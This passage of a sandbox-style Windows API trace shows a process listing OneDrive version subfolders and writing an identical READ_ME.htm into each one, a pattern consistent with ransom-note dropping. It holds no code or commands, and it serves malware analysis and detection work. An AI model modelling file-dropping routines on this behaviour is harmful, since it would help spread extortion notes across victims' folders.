lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64", lpFilePart=0x0) returned 0x48 [0145.272] SetErrorMode (uMode=0x1) returned 0x0 [0145.272] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\amd64\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeaaeb090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaaeb090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaaeb090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x48ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncApi64.dll", cAlternateFileName="FILESY~1.DLL")) returned 1 [0145.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeac8dfb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeac8dfb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeac8dfb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x576b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncShell64.dll", cAlternateFileName="FILESY~2.DLL")) returned 1 [0145.273] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeaeef5b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaeef5b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaeef5b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x20eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoggingPlatform64.dll", cAlternateFileName="LOGGIN~1.DLL")) returned 1 [0145.273] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb1048f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb1048f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb1048f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xa17c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp110.dll", cAlternateFileName="")) returned 1 [0145.273] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xca5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr110.dll", cAlternateFileName="")) returned 1 [0145.273] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xca5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr110.dll", cAlternateFileName="")) returned 0 [0145.273] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.273] SetErrorMode (uMode=0x0) returned 0x1 [0145.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64", lpFilePart=0x0) returned 0x48 [0145.274] SetErrorMode (uMode=0x1) returned 0x0 [0145.274] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\amd64\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.274] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.274] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeaaeb090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaaeb090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaaeb090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x48ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncApi64.dll", cAlternateFileName="FILESY~1.DLL")) returned 1 [0145.274] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeac8dfb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeac8dfb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeac8dfb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x576b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncShell64.dll", cAlternateFileName="FILESY~2.DLL")) returned 1 [0145.274] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeaeef5b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaeef5b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaeef5b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x20eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoggingPlatform64.dll", cAlternateFileName="LOGGIN~1.DLL")) returned 1 [0145.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb1048f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb1048f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb1048f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xa17c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp110.dll", cAlternateFileName="")) returned 1 [0145.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xca5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr110.dll", cAlternateFileName="")) returned 1 [0145.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xca5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr110.dll", cAlternateFileName="")) returned 0 [0145.275] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.275] SetErrorMode (uMode=0x0) returned 0x1 [0145.275] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.275] SetErrorMode (uMode=0x1) returned 0x0 [0145.276] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\amd64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.276] GetFileType (hFile=0x1d0) returned 0x1 [0145.276] SetErrorMode (uMode=0x0) returned 0x1 [0145.276] GetFileType (hFile=0x1d0) returned 0x1 [0145.277] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e5960*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29e5960*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar", lpFilePart=0x0) returned 0x45 [0145.278] SetErrorMode (uMode=0x1) returned 0x0 [0145.278] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ar\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.279] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.279] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb4969f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x110a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.279] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb4969f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x110a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.279] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.280] SetErrorMode (uMode=0x0) returned 0x1 [0145.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar", lpFilePart=0x0) returned 0x45 [0145.280] SetErrorMode (uMode=0x1) returned 0x0 [0145.280] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ar\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb4969f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x110a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb4969f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x110a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.281] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.281] SetErrorMode (uMode=0x0) returned 0x1 [0145.281] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.281] SetErrorMode (uMode=0x1) returned 0x0 [0145.281] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ar\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ar\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.282] GetFileType (hFile=0x1d0) returned 0x1 [0145.282] SetErrorMode (uMode=0x0) returned 0x1 [0145.282] GetFileType (hFile=0x1d0) returned 0x1 [0145.283] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ebf48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29ebf48*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.284] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in", lpFilePart=0x0) returned 0x48 [0145.284] SetErrorMode (uMode=0x1) returned 0x0 [0145.284] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\as-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4bcb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb685bd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4bcb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb685bd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb685bd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb6f7ff0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb685bd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb6f7ff0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.286] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.286] SetErrorMode (uMode=0x0) returned 0x1 [0145.287] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in", lpFilePart=0x0) returned 0x48 [0145.287] SetErrorMode (uMode=0x1) returned 0x0 [0145.287] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\as-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4bcb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb685bd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.287] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4bcb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb685bd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb685bd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb6f7ff0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb685bd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb6f7ff0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.288] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.288] SetErrorMode (uMode=0x0) returned 0x1 [0145.288] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.288] SetErrorMode (uMode=0x1) returned 0x0 [0145.288] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\as-in\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\as-in\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.289] GetFileType (hFile=0x1d0) returned 0x1 [0145.290] SetErrorMode (uMode=0x0) returned 0x1 [0145.290] GetFileType (hFile=0x1d0) returned 0x1 [0145.290] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f25b0*, nNumberOfBytesToWrite=0x720, 